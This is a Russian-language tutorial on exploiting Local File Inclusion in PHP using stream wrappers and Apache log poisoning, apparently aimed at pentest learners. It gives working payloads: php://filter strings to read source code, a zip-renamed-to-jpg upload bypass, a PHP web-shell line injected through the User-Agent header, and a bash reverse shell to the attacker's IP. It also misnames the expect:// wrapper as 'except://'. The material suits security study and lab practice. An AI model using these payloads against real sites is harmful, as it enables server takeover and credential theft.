Веб-уязвимости | Уязвимость LFI
fir3wall1 & Сергей Зыбнев
Что это такое?
Враппер с английского переводится как обертка. Но пока нам это мало что говорит, дадим пожалуй определение врапперу.
Wrapper - обертка системного вызова, которая перехватывает поток ввода/вывода и на основе своего заложенного функционала изменяет поток.
А что такое поток? Это некая абстракция, которая работает с файлами, сокетами, сжатыми данными. Также они позволяют читать, открывать и записывать в файлы данные.
А что такое системный вызов? Это набор функций в операционной системе, которые позволяют работать с данными, такие как файлы, процессы, потоки и т.д. Для примера разберем несколько системных вызовов в линуксе:
- open() - Позволяет открывать файлы.
- write() - Позволяет записывать данные в файл.
- close() - Позволяет закрывать файл, когда работа с ним закончена.
Рассмотрим теперь врапперы в php и глянем что они могут и умеют.
| Wrapper | except://
Данный враппер позволяет нашему потоку взаимодействовать с процессами в операционной системе. То есть потокам, с помощью except:// будет предоставлен доступ к таким процессам как: stdio, stdout и stderr через PTY. Для тех кто ничего не понял, но очень интересно: Простыми словами, через этот враппер мы получаем доступ в консольку веб-сервера.

| Wrapper | zip://
Этот враппер работает с сжатыми потоками. То есть с помощью него, мы можем распаковывать наши архивы, которые мы можем залить на сервер. Но что если мы не можем заливать архивы, можем только заливать картинки формата ".jpg"
Сейчас покажу одну хитрость: представьте что на сайте есть форма отправки файлов, но на эту форму можно залить только картинки формата ".jpg" Но при этом мы нашли LFI а обычный пэйлоад типа "../../../etc/passwd" уже не работает. Тогда нашим ходом будут следующие шаги:
- Создать php скрипт и вписать в него любой php код.
- Архивируем php скрипт в формат ".zip".
- Переименовываем формат ".zip" в формат ".jpg"
Таким образом мы сможем проскочить мимо фильтра, т.к. фильтр видет формат файла в виде ".jpg" когда "картинка" залилась на сервер мы можем использовать zip:// враппер для распаковки "картинки" в которой лежит наш php скрипт.
- Стоп-стоп! Получается мы можем распаковать картинку?
Да, т.к. ОС видит сигнатуру файла, а в сигнатуре написано что это архив, таким образом мы можем проскочить мимо фильтра меняя всего лишь тип файла, а ОС видит сигнатуру и понимает что это архив а не картинка.
- Окей, а как распаковать и запустить скрипт?
Для этого нам нужно знать путь, куда сохраняется наша "картинка", допустим наша "картинка" сохранилась по этому пути: /var/www/html/upload/ и допустим наш php скрипт, которого мы сделали "картинкой" называется: exploit
Тогда пишем следующее:
zip://var/www/html/upload/exploit.jpg%23exploit.php
Таким образом мы говорим сайту: распакуй мне exploit.jpg и запусти exploit.php которые у тебя распаковался.

| Wrapper | php://filter
Враппер "php://" дает доступ к различным потокам ввода-вывода, filter дает нам возможность фильтровать поток открытия различных файлов.
В контектсе LFI с помощью этого враппера мы сможем читать исходный код любых страниц на веб-сайте. Почему это может быть полезно? Дело в том, что исходный код php таков как он есть, мы не можем увидеть, мы видим только готовый html обработанный браузером. Читая исходный код мы можем наткнутся, к примеру, на учетные данные от базы данных, т.к. php скрипты которые работают с формами html(куда мы вводим свои данные: логин, пароль, телефон, e-mail) в основном кидают данные с html формы себе в базу данных, и к примеру в функции отправки данных в БД, могут лежать логин и пароль от БД, чтобы на ней можно было автоматически аутентифицироваться и отправить данные.
Также читая исходный код, при должном опыте в программировании мы сможем увидеть уязвимости в коде, к примеру: уязвимые функции, не правильная фильтрация или обработка входных данных. Или мы сможем просто залить исходный код в SAST(Статический анализатор код) и он сам найдет все уязвимое. Таким образом мы сможем найти не только LFI, но и еще ряд других уязвимостей.
Пэйлоады выглядят так:
php://filter/read=string.rot13/resource=index.php
Тут мы говорим веб-сайту - прочитай страницу index.php и сделай вывод в алгоритм шифрования ROT13.
php://filter/convert.base64-encode/resource=index.php
Тут мы говорим веб-сайту - прочитай страницу index.php и сделай вывод в base64.

После получения вывода в ROT13 или base64 мы можем легко расшифровать это и получить исходный код.
Для base64 такая команда:echo "сюда_пишем_наш_base64" | base64 -d
Для ROT13 используем любой онлайн сайт.
Как раскрутиться до удаленного выполнения кода (RCE)?
except://
В случае с этим враппером тут все довольно просто, он позволяет выполнять команды на веб-сервере, таким образом мы сможем сделать так, чтобы веб-сервер подключился к нам.
Как это сделать? У себя пишем:
nc -lvp 4444
мы поставили порт 4444 на ожидание подключения к нему.
?page=except://bash -i >& /dev/tcp/ваш_айпи/4444 0>&1
тут говорим веб-серверу подключится к нам на порт 4444.
zip://
В случае с zip:// мы можем заливать php код на веб-сайт и его исполнять, поэтому мы можем использовать вот такой код: https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
Когда веб-сервер его запустит, мы получим также обратное соединение на наш порт.
Log poisoning
Log poisoning переводится как отравление логов. Лог - это журнал, куда система, веб-сервер сохраняют различную информацию. К примеру веб-сервер в access.log сохраняет все http запросы от клиента к серверу.
При LFI мы можем получать доступ к файлам и наша цель при атаке log poisoning файл access.log
Представим что у нас веб-сервер apache2 тогда путь до лога будет таким: /var/log/apache2/access.log

Через утилиту burp suite нам нужно перехватить запрос.

В поле User-Agent вместо (Windows NT) нам нужно вставить данный код:
<?php system($_GET['c']); ?>
Этот код говорит веб-серверу в логах использовать параметр C, значение этого параметра послужит любая linux команда, которая будет исполнена функцией system();

Командой "ps" мы можем глянуть какие запущенны процессы.

На основе этого, мы сможем вставить в параметр наш код:
bash -i >& /dev/tcp/ваш_айпи/4444 0>&1
И получить обратное соединение.
[Дополнение к первой части]

Это топ 25 параметров которые могут работать с включением локальных файлов. Грех их не потестировать на LFI.
Заключение
Статья подошла к концу, надеюсь данный материал был полезен.
Больше про эксплуатацию php wrapper'ов можно почитать тут: https://book.hacktricks.xyz/pentesting-web/file-inclusion#lfi-rfi-using-php-wrappers
Чтобы получить практику по уязвимости LFI советую эти сайты:
https://hackxpert.com/labs/LFI/
Увидимся =)